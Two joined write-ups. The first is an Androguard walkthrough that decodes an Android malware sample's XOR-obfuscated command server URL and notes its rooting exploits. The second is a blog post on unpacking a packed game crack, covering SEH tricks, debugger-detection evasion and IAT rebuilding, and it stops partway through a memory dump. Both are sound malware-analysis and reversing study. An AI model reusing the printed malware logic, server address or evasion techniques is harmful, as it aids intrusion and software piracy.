    13 0x34 new-instance v6 , [type@ 49 Lcom/android/root/Setting$2;]  
    14 0x38 invoke-direct v6 , v12 , v1 , [meth@ 74 Lcom/android/root/Setting$2; (Lcom/android/root/Setting; [B) V ]  
    15 0x3e invoke-virtual v6 , [meth@ 75 Lcom/android/root/Setting$2; () V run]  
      
    [...]  
      
    40 0xa8 invoke-direct v12 , v9 , [meth@ 81 Lcom/android/root/Setting; (Z) V destroy]  
    41 0xae goto [+ -37]  
    42 0xb0 new-instance v5 , [type@ 54 Lcom/android/root/udevRoot;]  
    43 0xb4 iget-object v6 , v12 , [field@ 14 Lcom/android/root/Setting; Landroid/content/Context; ctx]  
    44 0xb8 invoke-direct v5 , v6 , [meth@ 111 Lcom/android/root/udevRoot; (Landroid/content/Context;) V ]  
    45 0xbe invoke-virtual v5 , [meth@ 117 Lcom/android/root/udevRoot; () Z go4root]  
    46 0xc4 move-result v6  
    47 0xc6 if-eqz v6 , [+ 6]  
    48 0xca invoke-direct v12 , v9 , [meth@ 81 Lcom/android/root/Setting; (Z) V destroy]  
    49 0xd0 goto [+ -54]  
    50 0xd2 new-instance v0 , [type@ 52 Lcom/android/root/adbRoot;]  
    51 0xd6 iget-object v6 , v12 , [field@ 14 Lcom/android/root/Setting; Landroid/content/Context; ctx]  
    52 0xda iget-object v7 , v12 , [field@ 15 Lcom/android/root/Setting; Landroid/os/Handler; handler]  
    53 0xde invoke-direct v0 , v6 , v7 , [meth@ 96 Lcom/android/root/adbRoot; (Landroid/content/Context; Landroid/os/Handler;) V ]  
    54 0xe4 invoke-virtual v0 , [meth@ 103 Lcom/android/root/adbRoot; () Z go4root]  
    55 0xea move-result v6  
    56 0xec if-nez v6 , [+ -68]  
    57 0xf0 invoke-direct v12 , v8 , [meth@ 81 Lcom/android/root/Setting; (Z) V destroy]  
    58 0xf6 goto [+ -73]  
    
    
[/code]

  
We can see that the "crypt" method is called with the field "u" \(\[B\) and a
thread in "Service$2" is started.  

  

Where the field "u" \(\[B\) is used ? :

[code]

    [~/androguard]  
    |25>u_field = vmx.tainted_variables.get_field( "Lcom/android/root/Setting;", "u", "[B" )  
      
    [~/androguard]  
    |26>u_field.show_paths()  
    W Lcom/android/root/Setting;  ()V -BB@0x0 1d8  
    R Lcom/android/root/Setting; onCreate ()V onCreate-BB@0x0 1e  
      
    
    
[/code]

This field is initialized in the clinit method, and used by crypt later. What
is the value of this field ? :

  

[code]

    [~/androguard]  
    |28>vm.get_method_descriptor( "Lcom/android/root/Setting;", "", "()V" ).show()  
       ENCODED_METHOD method_idx_diff=76 access_flags=65544 code_off=0x34f0 (Lcom/android/root/Setting; ()V,)  
    ********************************************************************************  
    DALVIK_CODE :  
       REGISTERS_SIZE 0x8  
       INS_SIZE 0x0  
       OUTS_SIZE 0x0  
       TRIES_SIZE 0x0  
       DEBUG_INFO_OFF 0x8d28  
       INSNS_SIZE 0xef  
      
    0 0x0 const/4 v7 , [#+ 3]  
    1 0x2 const/4 v6 , [#+ 1]  
    2 0x4 const/16 v5 , [#+ 42]  
    3 0x8 const/16 v4 , [#+ 19]  
    4 0xc const/4 v3 , [#+ 2]  
    5 0xe const/16 v0 , [#+ 45]  
    6 0x12 new-array v0 , v0 , [type@ 132 [B]  
    7 0x16 const/4 v1 , [#+ 0]  
    8 0x18 const/16 v2 , [#+ 94]  
    9 0x1c aput-byte v1 , v0 , v2  
      
    [...]  
      
    119 0x1c8 aput-byte v1 , v0 , v5  
    120 0x1cc const/16 v1 , [#+ 44]  
    121 0x1d0 const/16 v2 , [#+ 52]  
    122 0x1d4 aput-byte v1 , v0 , v2  
    123 0x1d8 sput-object v0 , [field@ 16 Lcom/android/root/Setting; [B u]  
    124 0x1dc return-void  
    ********************************************************************************  
    
    
[/code]

Ok it's a simple string of bytes, and values are :

"\[ 94, 42, 93, 88, 3, 2, 95, 2, 13, 85, 11, 2, 19, 1, 125, 19, 0, 102, 30,
24, 19, 99, 76, 21, 102, 22, 26, 111, 39, 125, 2, 44, 80, 10, 90, 5, 119, 100,
119, 60, 4, 87, 79, 42, 52 \]"

  

Now the crypt method is :

[code]

    [~/androguard]  
    |33>vm.get_method_descriptor( "Lcom/android/root/adbRoot;", "crypt", "([B)V" ).show()  
        ENCODED_METHOD method_idx_diff=1 access_flags=9 code_off=0x281c (Lcom/android/root/adbRoot; ([B)V,crypt)  
    ********************************************************************************  
    DALVIK_CODE :  
        REGISTERS_SIZE 0x5  
        INS_SIZE 0x1  
        OUTS_SIZE 0x0  
        TRIES_SIZE 0x0  
        DEBUG_INFO_OFF 0x8961  
        INSNS_SIZE 0x1a  
      
    0 0x0 const/4 v1 , [#+ 0]  
    1 0x2 const/4 v0 , [#+ 0]  
    2 0x4 array-length v2 , v4  
    3 0x6 if-lt v0 , v2 , [+ 3]  
    4 0xa return-void  
    5 0xc aget-byte v0 , v4 , v2  
    6 0x10 sget-object v3 , [field@ 23 Lcom/android/root/adbRoot; [B KEYVALUE]  
    7 0x14 aget-byte v1 , v3 , v3  
    8 0x18 xor-int/2addr v2 , v3  
    9 0x1a int-to-byte v2 , v2  
    10 0x1c aput-byte v0 , v4 , v2  
    11 0x20 add-int/lit8 v1 , v1 , [#+ 1]  
    12 0x24 sget v2 , [field@ 28 Lcom/android/root/adbRoot; I keylen]  
    13 0x28 if-ne v1 , v2 , [+ 3]  
    14 0x2c const/4 v1 , [#+ 0]  
    15 0x2e add-int/lit8 v0 , v0 , [#+ 1]  
    16 0x32 goto [+ -23]  
    ********************************************************************************  
    
    
[/code]

Ok the key is KEYVALUE and a xor used with the string which is in parameter.
Where is used KEYVALUE ? :

[code]

    [~/androguard]  
    |35>keyvalue_field = vmx.tainted_variables.get_field( "Lcom/android/root/adbRoot;", "KEYVALUE", "[B" )  
      
    [~/androguard]  
    |36>keyvalue_field.show_paths()  
    W Lcom/android/root/adbRoot;  ()V -BB@0x0 1a  
    R Lcom/android/root/adbRoot;  ()V -BB@0x0 1e  
    R Lcom/android/root/adbRoot; crypt ([B)V crypt-BB@0xc 10  
      
    [~/androguard]  
    |37>vm.get_method_descriptor( "Lcom/android/root/adbRoot;", "", "()V" ).show()  
        ENCODED_METHOD method_idx_diff=95 access_flags=65544 code_off=0x270c (Lcom/android/root/adbRoot; ()V,)  
    ********************************************************************************  
    DALVIK_CODE :  
        REGISTERS_SIZE 0x1  
        INS_SIZE 0x0  
        OUTS_SIZE 0x1  
        TRIES_SIZE 0x0  
        DEBUG_INFO_OFF 0x890a  
        INSNS_SIZE 0x15  
      
    0 0x0 const/4 v0 , [#+ 0]  
    1 0x2 invoke-static v0 , [meth@ 235 Ljava/lang/Boolean; (Z) Ljava/lang/Boolean; valueOf]  
    2 0x8 move-result-object v0  
    3 0xa sput-object v0 , [field@ 29 Lcom/android/root/adbRoot; Ljava/lang/Boolean; rs]  
    4 0xe const-string v0 , [string@ 25 6^)(9-p35a%3#4S!4S0)$Yt%^&5(j.g^&o(*0)$Yv!#O@6GpG@=+3j.&6^)(0-=1]  
    5 0x12 invoke-virtual v0 , [meth@ 256 Ljava/lang/String; () [B getBytes]  
    6 0x18 move-result-object v0  
    7 0x1a sput-object v0 , [field@ 23 Lcom/android/root/adbRoot; [B KEYVALUE]  
    8 0x1e sget-object v0 , [field@ 23 Lcom/android/root/adbRoot; [B KEYVALUE]  
    9 0x22 array-length v0 , v0  
    10 0x24 sput v0 , [field@ 28 Lcom/android/root/adbRoot; I keylen]  
    11 0x28 return-void  
    ********************************************************************************  
    
    
[/code]

The initial value of KEYVALUE is
"6^\)\(9-p35a%3\#4S\!4S0\)$Yt%^&5\(j.g^&o\(\*0\)$Yv\!\#O@6GpG@=+3j.&6^\)\(0-=1\]".

  

Now you can create a simple script to have the real string :

[code]

    key = "6^)(9-p35a%3#4S!4S0)$Yt%^&5(j.g^&o(*0)$Yv!#O@6GpG@=+3j.&6^)(0-=1]"  
      
    l = [ 94, 42, 93, 88, 3, 2, 95, 2, 13, 85, 11, 2, 19, 1, 125, 19, 0, 102, 30, 24, 19, 99, 76, 21, 102, 22, 26, 111, 39, 125, 2, 44, 80, 10, 90, 5, 119, 100, 119, 60, 4, 87, 79, 42, 52 ]  
      
    buff = ""  
    for i in range(0, len(l)) :  
    u = l[i] ^ ord(key[i % len(key)])  
    buff += chr(u)  
      
    print buff  
      
    
    
[/code]

The string is an url : http://184.105.245.17:8080/GMServer/GMServlet  

  

You can check on robtex that the server is located in United States ...

  

If you continue the analysis, you will see that rageagainstthecage and exploid
is used ;\)

  

See ya \!

# OpenRCE Reversing a Crack: Unpacking and the Fake IAT

**Created:**| _12/9/2010 9:16:29 PM_  
---|---  
**Updated:**| _12/11/2010 11:23:29 AM_  
**Author:**| __  
**Tags:**| _crackme reversing Tutorials_  
  
**Reversing a Crack: Unpacking and the Fake IAT** **Author:** johnnycannuk <img src='img/Temp2_5951.gif' /> | **\# Views:** 463  
---|---  
Part of the new day job is to figure out how things get "cracked" and what to
recommend how to prevent it.Seemed simple enough, though to be honest, most of
my reversing has been to understand how things work, rather than for malware
and cracking. That means that while I can read x86 ASM and understand Windows
system calls etc, I was not that great at unpacking and rebuilding IATs -
stuff essential for getting a proper PE image that can be reverse in IDA Pro
without issues. So, to sharpen my skills and to learn some new techniques, I
decided to try reversing an crack to discover how it worked.

  

The Game: Zuma Deluxe from Zylom

The Crack: Zylom.Zuma.Deluxe.1.0.0.1\_CRKEXE-FFF.zip from keygens.nl

  

Tools:

  

Immunity DBG \(with Olly PEDumper\)

Olly 1.10 with Olly Advanced and OllyDump

ImpREC 1.7c

LordPE

PEiD

CFF Explorer by Daniel Pistelli

IDA Pro v 6.

  

Resources used:

  

\#\#re \(big thanks to usualsuspect, upb and \_\_jon\)

Reviewing lena151 tutorials, specifically 3, 20 and 21 \(Thanks lena151
wherever you are\!\)

  

Note: I choose Zuma Deluxe for a few reasons. First, it's an older game that I
am familiar with. Second, the oringal uncracked version small and easily
obtainable for use in differential analysis. THIS ISN'T A TUTORIAL ON CRACKING
THE GAME, the is about reversing the crack. Thirdly, this game has literally
hundreds of cracks already out there and clearly this is not in anyway
affecting Zylom. Once again, Zuma isn't the target of the reversing, the Zuma
cracked version is.

  

Now, with the CMA out of the way, let me say this - the interesting part was
not how the crack worked \(that was so incredibly easy, even I could have
cracked the game without help\) by how the crack was packaged. Basically the
CRACK had better binary security measures protecting it than the legitimate
game.

  

  

Unpacking

\---------

  

My plan was to simply reverse the crack in IDA, find the differences between
it and the legit binary and figure out if there was a better way. Not so fast,
first, unlike the legit binary, the crack was packed.

  

According to PEiD is was with "PECompact 2.x -> Jeremy Collake". Well the
unpacker I had kept failing \(despite working on other similarly packed
binaries\). Time to do some investigating.

  

What follows in this unpacking section comes from my chat's with usualsuspect
on \#\#re. I present it not as my own doing, but as an educational resource. I
learned more about mupping in the last week than I knew there even was to
learn \(thanks again usualsuspect\). The entry point looked like this:

  

  

00401000 > $ B8 A8685B00 MOV EAX,Zuma-cra.005B68A8

00401005 . 50 PUSH EAX

00401006 . 64:FF35 000000>PUSH DWORD PTR FS:\[0\]

0040100D . 64:8925 000000>MOV DWORD PTR FS:\[0\],ESP

00401014 . 33C0 XOR EAX,EAX

00401016 . 8908 MOV DWORD PTR DS:\[EAX\],ECX

00401018 . 50 PUSH EAX

00401019 . 45 INC EBP

0040101A . 43 INC EBX

0040101B . 6F OUTS DX,DWORD PTR ES:\[EDI\] ; I/O command

0040101C . 6D INS DWORD PTR ES:\[EDI\],DX ; I/O command

0040101D . 70 61 JO SHORT Zuma-cra.00401080

0040101F . 637432 00 ARPL WORD PTR DS:\[EDX+ESI\],SI

00401023 A2 DB A2

00401024 46 DB 46 ; CHAR 'F'

00401025 97 DB 97

00401026 FD DB FD

00401027 8C DB 8C

00401028 A5 DB A5

00401029 37 DB 37 ; CHAR '7'

0040102A 06 DB 06

0040102B A1 DB A1

  

  

Stepping through it looks like the Zuma-cra.005B68A8 is being installed as a
SEH:

  

  

0012FFBC 0012FFE0 àÿ. Pointer to next SEH record

0012FFC0 005B68A8 ¨h\[. SE handler

0012FFC4 7C817077 wp| RETURN to kernel32.7C817077

0012FFC8 7C910228 \(‘| ntdll.7C910228

0012FFCC FFFFFFFF ÿÿÿÿ

0012FFD0 7FFDF000 .ðý

0012FFD4 8054B6ED í¶T€

0012FFD8 0012FFC8 Èÿ.

  

So, put a break point on it and go. First thing you notice is that at the code
doesn't jump to an unpacking routine, but purposely causes a an error:

  

00401014 . 33C0 XOR EAX,EAX

00401016 . 8908 MOV DWORD PTR DS:\[EAX\],ECX <\-- Access violation since EAX
will be 000000

  

The SEH chain then kicks in. If you Shift-F9 \(in either Immunity or Olly\)
you get to your first breakpoint. This looks very much like an anti-auto-
unpacking measure, trying to convince you that the file is corrupt.

  

005B68A8 B8 2D565BF0 MOV EAX,F05B562D <\-- breaks here

005B68AD 8D88 9E120010 LEA ECX,DWORD PTR DS:\[EAX+1000129E\]

005B68B3 8941 01 MOV DWORD PTR DS:\[ECX+1\],EAX

005B68B6 8B5424 04 MOV EDX,DWORD PTR SS:\[ESP+4\]

005B68BA 8B52 0C MOV EDX,DWORD PTR DS:\[EDX+C\]

005B68BD C602 E9 MOV BYTE PTR DS:\[EDX\],0E9

005B68C0 83C2 05 ADD EDX,5

005B68C3 2BCA SUB ECX,EDX

005B68C5 894A FC MOV DWORD PTR DS:\[EDX-4\],ECX

005B68C8 33C0 XOR EAX,EAX

005B68CA C3 RETN

005B68CB B8 78563412 MOV EAX,12345678 <\--- where you eventually end up.
Beginning of the unpacking routine

005B68D0 64:8F05 00000000 POP DWORD PTR FS:\[0\]

005B68D7 83C4 04 ADD ESP,4

005B68DA 55 PUSH EBP

005B68DB 53 PUSH EBX

005B68DC 51 PUSH ECX

  

  

F8 and step through slowly, watching the stack and the registers. You'll
notice at 005B68BD its writing 0E9 to the address pointed at by EDX. A quick
look at the registers shows that this is Zuma-cra.00401016 and this should
look familiar - its the faulty MOV that caused the access violation that
triggered the SEH in the first place. And 0E9...the mnemonic for JMP. Now, you
could place a breakpoint here and single step or you could notice that the
value in ECX is being written right after 0E9...basically creating the
following command at Zuma-cra.00401016:

  

JMP Zuma-cra.005B68CB

  

which is immedialtly following the RETN for the SEH you are in. This is
clearly the unpacking routine. If you step through, you'll notice it accessing
kernel32, to do lots of writes to the process. It is both decrypting the
packed binary and also doing something else. Of course, by the time you see
the call to IsDebuggerPresent, it is almost too late. You can either patch by
hand, change the flags or restart the process using either Immunity's
\!hidedebug IsDebuggerPresent or using the same setting in Olly Advanced
plugin for Olly. I preferr the easy way. If you then step through, you get to
:

  

  

005B6962 8BC6 MOV EAX,ESI

005B6964 5A POP EDX

005B6965 5E POP ESI

005B6966 5F POP EDI

005B6967 59 POP ECX

005B6968 5B POP EBX

005B6969 5D POP EBP

005B696A -FFE0 JMP EAX ; Zuma-cra.004FCF02 <\--- OEP

005B696C 02CF ADD CL,BH

005B696E 4F DEC EDI

005B696F 0000 ADD BYTE PTR DS:\[EAX\],AL

  

  

So jump to Zuma-cra.004FCF02 and re-analyize in either Immunity or Olly
\(either built in or AnalyzeThis\!\) and the code appears, unpacked and ready
to run or analyze.

  

Dumping

\-------

  

So at this point I decided to dump the process, rebuild the PE and use IDA to
do some static analysis. After more than a few tries, I came quickly to the
conclusion that Immunity + Olly PE Dumper \(the only dumping untility for
Immunity I could find\) screwed the IAT so completely that it was not
recoverable. It seemed to find the IAT of the original packed binary, rather
than the newly re-written one from the currently running process. Though many
of the dll were the same, there were many more functions and a few more dlls.
I was able to determine this by looking at the Import Directory for the dumped
PE in CFF. It was identical to the packed binary, despite the fact that if you
step through slowly enough, you can watch the calls to re-write the IAT happen
during the unpacking routine run.

  

Onto Ollydump and Olly. Olly dump seemed to find the correct but only when the
"Rebuild Imports" check box was deselected. Otherwise it created no import
table all.

  

Looking at this binary with CFF showed 10 dll imports with close to 250
functions being used. The IAT started at RVA 001AD000 and ended at 001AD464
\(001AD458+size of last IAT entry\)

  

The next step, according to Hoyle, is to run ImpREC to rebuild the IAT and get
a working binary \(or one that can be run through LordPE to get one\).

  

This is were things got weird.

  

ImpREC and IAT rebuilding

\-------------------------

  

When I entered the new OEP into ImpREC and did an "Autosearch", it seemed to
find the IAT and presented me with an RVA of 001ACFFC and a size of 000008CC.
Figuring the tool knew more than I did, I accepted this and got the imports.
Oddly, I got a list of 20 dll and funtions, not the 10 that were exported in
the dump that OllyDump created. More curious, the list repeated itself:

  

advapi32.dll

comctl32.dll

gdi32.dll

kernel32.dll

oleaut32.dll

shell32.dll

user32.dll

winmm.dll

wsock32.dll

ole32.dll

advapi32.dll

comctl32.dll

gdi32.dll

kernel32.dll

oleaut32.dll

shell32.dll

user32.dll

winmm.dll

wsock32.dll

ole32.dll

  

All of the dll were at different addresses. When the dump was fixed with this
default, the resulting binary would not run at all. Neither did rebuilding
with LordPE help.

  

At first myself and a few guys on \#\#re though one part might be the
unpacker's IAT and the other might be the IAT for the game, but after closer
examination, this did not seem to be the case. The original had a totally
different RVA and size and referenced different functions. This was an exact
repeat of the same list twice, with the same function calls, in contiguous rva
space that had obviously been written to memory by the unpacker itself.

  

So I jumped to the start of the IAT at RVA 001ACFFC \(0051ACFFC in my CPU
pane\) and then followed in the dump to see what was there:

  

005ACFEC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

005ACFFC 00 00 00 00 B2 7C DF 77 27 6C DD 77 E7 EA DD 77 ....²|ßw'lÝwçêÝw

005AD00C BB 7A DD 77 F4 E9 DD 77 52 78 DD 77 A0 42 DE 77 »zÝwôéÝwRxÝw BÞw

005AD01C E5 EC DD 77 B8 53 DE 77 F3 BC DF 77 32 43 DE 77 åìÝw¸SÞwó¼ßw2CÞw

005AD02C 60 7B DF 77 D3 79 DF 77 00 00 00 00 16 8D 0C 5D \`\{ßwÓyßw.....\]

005AD03C 00 00 00 00 FF DC F1 77 0D B5 F1 77 C1 61 F1 77 ....ÿÜñw.µñwÁañw

005AD04C A5 61 F1 77 1C EF F1 77 DB 5E F1 77 56 6A F1 77 ¥añwïñwÛ^ñwVjñw

005AD05C 77 5D F1 77 4F BA F1 77 71 5A F1 77 00 BF F3 77 w\]ñwOºñwqZñw.¿ów

005AD06C 45 DF F1 77 FA 6B F1 77 CE EC F1 77 25 8D F1 77 EßñwúkñwÎìñw%ñw

005AD07C 70 5B F1 77 14 8E F1 77 11 E6 F1 77 4C 7B F1 77 p\[ñwŽñwæñwL\{ñw

005AD08C 8C B3 F1 77 00 00 00 00 4C AD 85 7C 2E 98 80 7C Œ³ñw....L­…|.˜€|

005AD09C B5 99 80 7C 02 D3 80 7C B5 A4 80 7C 7E 2B 81 7C µ™€|Ó€|µ¤€|~+|

005AD0AC A9 2A 81 7C 91 9F 80 7C 7A 13 91 7C DD 1E 83 7C ©\*|‘Ÿ€|z‘|Ýƒ|

005AD0BC 98 9C 80 7C 22 FF 80 7C B9 FF 80 7C CD FD 80 7C ˜œ€|"ÿ€|¹ÿ€|Íý€|

005AD0CC CF FC 80 7C 63 13 82 7C 77 EE 80 7C E1 4E 83 7C Ïü€|c‚|wî€|áNƒ|

005AD0DC 79 38 81 7C BD 2F 81 7C 6F B5 80 7C 41 B7 80 7C y8|½/|oµ€|A·€|

005AD0EC 21 FE 90 7C DF E9 80 7C 7E AC 80 7C 7B 1D 80 7C \!þ|ßé€|~¬€|\{€|

005AD0FC 5D 49 84 7C 95 DE 80 7C 71 BA 80 7C C7 A4 80 7C \]I„|•Þ€|qº€|Ç¤€|

005AD10C 4E FA 82 7C 33 A8 80 7C 19 9F 80 7C AF AC 80 7C Nú‚|3¨€|Ÿ€|¯¬€|

005AD11C 06 98 80 7C 1A 98 80 7C 4D 1C 83 7C 28 1A 80 7C ˜€|˜€|Mƒ|\(€|

005AD12C D4 1A 80 7C F2 1E 80 7C C3 2C 81 7C F6 2D 81 7C Ô€|ò€|Ã,|ö-|

005AD13C C0 99 80 7C 53 1D 80 7C 82 19 82 7C 27 0E 81 7C À™€|S€|‚‚|'|

005AD14C AC 17 82 7C F1 C1 85 7C 74 A1 80 7C C5 AB 92 7C ¬‚|ñÁ…|t¡€|Å«’|

005AD15C 12 CB 81 7C F8 C0 80 7C 27 29 83 7C D7 06 81 7C Ë|øÀ€|'\)ƒ|×|

005AD16C 1A 1E 80 7C 2D FF 90 7C A1 9E 80 7C E9 17 80 7C €|-ÿ|¡ž€|é€|

005AD17C 40 AE 80 7C 2E 50 83 7C 9C 39 81 7C A0 9B 91 7C @®€|.Pƒ|œ9| ›‘|

005AD18C C4 00 91 7C F1 0E 81 7C 12 18 80 7C 18 8E 83 7C Ä.‘|ñ|€|Žƒ|

005AD19C 48 CD 80 7C 16 2F 81 7C 3F 2E 81 7C 30 FE 90 7C HÍ€|/|?.|0þ|

005AD1AC 77 37 81 7C 65 9C 80 7C E0 97 80 7C DD 04 91 7C w7|eœ€|à—€|Ý‘|

005AD1BC CA 3F 86 7C D9 2F 81 7C EF D6 81 7C 93 CC 81 7C Ê?†|Ù/|ïÖ|“Ì|

005AD1CC 87 4B 81 7C A8 2F 81 7C 37 CD 80 7C 98 0F 81 7C ‡K|¨/|7Í€|˜|

005AD1DC 56 2C 81 7C 84 9B 80 7C F1 9A 80 7C E1 26 81 7C V,|„›€|ñš€|á&|

005AD1EC 2E 0C 81 7C EF 50 83 7C 76 20 83 7C 7B D3 81 7C ..|ïPƒ|v ƒ|\{Ó|

005AD1FC 3C 8A 83 7C 30 A5 80 7C B0 9F 80 7C 11 7D 83 7C <Šƒ|0¥€|°Ÿ€|\}ƒ|

005AD20C C3 C1 81 7C 6B 11 81 7C 6F BD 80 7C C3 B2 81 7C ÃÁ|k|o½€|Ã²|

005AD21C 47 28 81 7C 17 D1 80 7C FE A3 80 7C A8 34 83 7C G\(|Ñ€|þ£€|¨4ƒ|

005AD22C 02 16 81 7C A4 16 82 7C A8 F7 82 7C BD 2E 81 7C |¤‚|¨÷‚|½.|

005AD23C 4D C0 80 7C 35 14 82 7C 09 2A 83 7C 66 98 80 7C MÀ€|5‚|.\*ƒ|f˜€|

005AD24C E0 10 90 7C 00 10 90 7C 0D 61 83 7C 4A 93 80 7C à|.|.aƒ|J“€|

005AD25C B5 08 83 7C 8B 99 80 7C A8 C1 80 7C E7 9B 80 7C µƒ|‹™€|¨Á€|ç›€|

005AD26C DB A0 80 7C 30 25 80 7C B7 A0 80 7C D0 97 80 7C Û €|0%€|· €|Ð—€|

005AD27C E3 14 82 7C 46 24 80 7C DC 15 81 7C 00 00 00 00 ã‚|F$€|Ü|....

005AD28C 80 48 12 77 39 4B 12 77 00 00 00 00 A8 11 A4 7C €Hw9Kw....¨¤|

005AD29C 00 00 00 00 6E 43 42 7E 7D 6D 45 7E 6B F5 42 7E ....nCB~\}mE~kõB~

005AD2AC 6B 21 43 7E BA 0D 43 7E C7 03 43 7E 2E 8C 41 7E k\!C~º.C~ÇC~.ŒA~

005AD2BC A9 E4 42 7E 40 11 43 7E 9D C2 42 7E ED 42 42 7E ©äB~@C~ÂB~íBB~

005AD2CC 7E C1 42 7E FD 8F 42 7E E9 8F 42 7E 5D 94 41 7E ~ÁB~ýB~éB~\]”A~

005AD2DC 9C 8F 41 7E 59 70 45 7E 5E EA 42 7E F6 E8 42 7E œA~YpE~^êB~öèB~

005AD2EC FD AA 42 7E 28 8E 41 7E 12 D3 42 7E B4 90 42 7E ýªB~\(ŽA~ÓB~´B~

005AD2FC 2B 77 42 7E 89 C6 43 7E 02 C7 43 7E 2F 9C 42 7E +wB~‰ÆC~ÇC~/œB~

005AD30C C8 98 42 7E 78 8E 41 7E AB 8E 41 7E D2 D1 42 7E È˜B~xŽA~«ŽA~ÒÑB~

005AD31C A8 03 43 7E C2 F3 42 7E AB AE 42 7E 7F 5F 45 7E ¨C~ÂóB~«®B~\_E~

005AD32C 3D 9E 42 7E 44 99 42 7E 00 F1 44 7E E7 C2 43 7E =žB~D™B~.ñD~çÂC~

005AD33C 22 78 42 7E 46 DE 41 7E 66 97 42 7E 5E C3 42 7E "xB~FÞA~f—B~^ÃB~

005AD34C 7A C3 42 7E 77 02 43 7E 9E 0F 43 7E 65 02 43 7E zÃB~wC~žC~eC~

005AD35C EA 07 45 7E 30 99 42 7E 3E D3 42 7E 4E 97 42 7E êE~0™B~>ÓB~N—B~

005AD36C A0 97 42 7E 9C B1 42 7E B2 DE 42 7E 56 AF 42 7E —B~œ±B~²ÞB~V¯B~

005AD37C 11 90 42 7E 39 C7 43 7E C7 86 41 7E 9D 86 41 7E B~9ÇC~Ç†A~†A~

005AD38C 8E 90 42 7E 60 9B 42 7E 4E 4A 42 7E 9E B2 42 7E ŽB~\`›B~NJB~ž²B~

005AD39C 12 B1 42 7E 40 A3 42 7E F6 8B 41 7E 49 98 42 7E ±B~@£B~ö‹A~I˜B~

005AD3AC B8 96 41 7E 00 00 00 00 F8 94 B4 76 DF AC B4 76 ¸–A~....ø”´vß¬´v

005AD3BC A5 AD B4 76 BF A8 B5 76 4F 4E B4 76 E1 07 B5 76 ¥­´v¿¨µvON´váµv

005AD3CC D4 02 B5 76 E1 95 B4 76 56 04 B5 76 F3 05 B5 76 Ôµvá•´vVµvóµv

005AD3DC B2 06 B5 76 00 00 00 00 53 2E AB 71 55 53 AB 71 ²µv....S.«qUS«q

005AD3EC 7B 3F AB 71 A8 30 AB 71 ED 3F AB 71 E1 2E AB 71 \{?«q¨0«qí?«qá.«q

005AD3FC 50 3F AB 71 11 42 AB 71 55 6A AB 71 40 10 AC 71 P?«qB«qUj«q@¬q

005AD40C D3 8C AB 71 91 E4 AB 71 03 E7 AB 71 80 44 AB 71 ÓŒ«q‘ä«qç«q€D«q

005AD41C 30 2E AD 71 F6 0B AC 71 10 3D AB 71 AD 2E AB 71 0.­qö¬q=«q­.«q

005AD42C C1 45 AB 71 68 0B AC 71 53 2E AB 71 AD 2E AB 71 ÁE«qh¬qS.«q­.«q

005AD43C 07 4A AB 71 CE 3C AB 71 27 4C AB 71 70 2E AD 71 J«qÎ<«q'L«qp.­q

005AD44C 2B 3E AB 71 D6 2E AD 71 00 00 00 00 4A F9 52 77 +>«qÖ.­q....JùRw

005AD45C AC F1 4F 77 00 00 00 00 B2 7C DF 77 27 6C DD 77 ¬ñOw....²|ßw'lÝw

005AD46C E7 EA DD 77 BB 7A DD 77 F4 E9 DD 77 52 78 DD 77 çêÝw»zÝwôéÝwRxÝw

005AD47C A0 42 DE 77 E5 EC DD 77 B8 53 DE 77 F3 BC DF 77 BÞwåìÝw¸SÞwó¼ßw

005AD48C 32 43 DE 77 60 7B DF 77 D3 79 DF 77 00 00 00 00 2CÞw\`\{ßwÓyßw....

005AD49C 16 8D 0C 5D 00 00 00 00 FF DC F1 77 0D B5 F1 77 .\]....ÿÜñw.µñw

005AD4AC C1 61 F1 77 A5 61 F1 77 1C EF F1 77 DB 5E F1 77 Áañw¥añwïñwÛ^ñw

005AD4BC 56 6A F1 77 77 5D F1 77 4F BA F1 77 71 5A F1 77 Vjñww\]ñwOºñwqZñw

005AD4CC 00 BF F3 77 45 DF F1 77 FA 6B F1 77 CE EC F1 77 .¿ówEßñwúkñwÎìñw

005AD4DC 25 8D F1 77 70 5B F1 77 14 8E F1 77 11 E6 F1 77 %ñwp\[ñwŽñwæñw

005AD4EC 4C 7B F1 77 8C B3 F1 77 00 00 00 00 4C AD 85 7C L\{ñwŒ³ñw....L­…|

005AD4FC 2E 98 80 7C B5 99 80 7C 02 D3 80 7C B5 A4 80 7C .˜€|µ™€|Ó€|µ¤€|

005AD50C 7E 2B 81 7C A9 2A 81 7C 91 9F 80 7C 7A 13 91 7C ~+|©\*|‘Ÿ€|z‘|

005AD51C DD 1E 83 7C 98 9C 80 7C 22 FF 80 7C B9 FF 80 7C Ýƒ|˜œ€|"ÿ€|¹ÿ€|

005AD52C CD FD 80 7C CF FC 80 7C 63 13 82 7C 77 EE 80 7C Íý€|Ïü€|c‚|wî€|

005AD53C E1 4E 83 7C 79 38 81 7C BD 2F 81 7C 6F B5 80 7C áNƒ|y8|½/|oµ€|

005AD54C 41 B7 80 7C 21 FE 90 7C DF E9 80 7C 7E AC 80 7C A·€|\!þ|ßé€|~¬€|

005AD55C 7B 1D 80 7C 5D 49 84 7C 95 DE 80 7C 71 BA 80 7C \{€|\]I„|•Þ€|qº€|

005AD56C C7 A4 80 7C 4E FA 82 7C 33 A8 80 7C 19 9F 80 7C Ç¤€|Nú‚|3¨€|Ÿ€|

005AD57C AF AC 80 7C 06 98 80 7C 1A 98 80 7C 4D 1C 83 7C ¯¬€|˜€|˜€|Mƒ|

005AD58C 28 1A 80 7C D4 1A 80 7C F2 1E 80 7C C3 2C 81 7C \(€|Ô€|ò€|Ã,|

005AD59C F6 2D 81 7C C0 99 80 7C 53 1D 80 7C 82 19 82 7C ö-|À™€|S€|‚‚|

005AD5AC 27 0E 81 7C AC 17 82 7C F1 C1 85 7C 74 A1 80 7C '|¬‚|ñÁ…|t¡€|

005AD5BC C5 AB 92 7C 12 CB 81 7C F8 C0 80 7C 27 29 83 7C Å«’|Ë|øÀ€|'\)ƒ|

005AD5CC D7 06 81 7C 1A 1E 80 7C 2D FF 90 7C A1 9E 80 7C ×|€|-ÿ|¡ž€|

005AD5DC E9 17 80 7C 40 AE 80 7C 2E 50 83 7C 9C 39 81 7C é€|@®€|.Pƒ|œ9|

005AD5EC A0 9B 91 7C C4 00 91 7C F1 0E 81 7C 12 18 80 7C ›‘|Ä.‘|ñ|€|

005AD5FC 18 8E 83 7C 48 CD 80 7C 16 2F 81 7C 3F 2E 81 7C Žƒ|HÍ€|/|?.|

005AD60C 30 FE 90 7C 77 37 81 7C 65 9C 80 7C E0 97 80 7C 0þ|w7|eœ€|à—€|

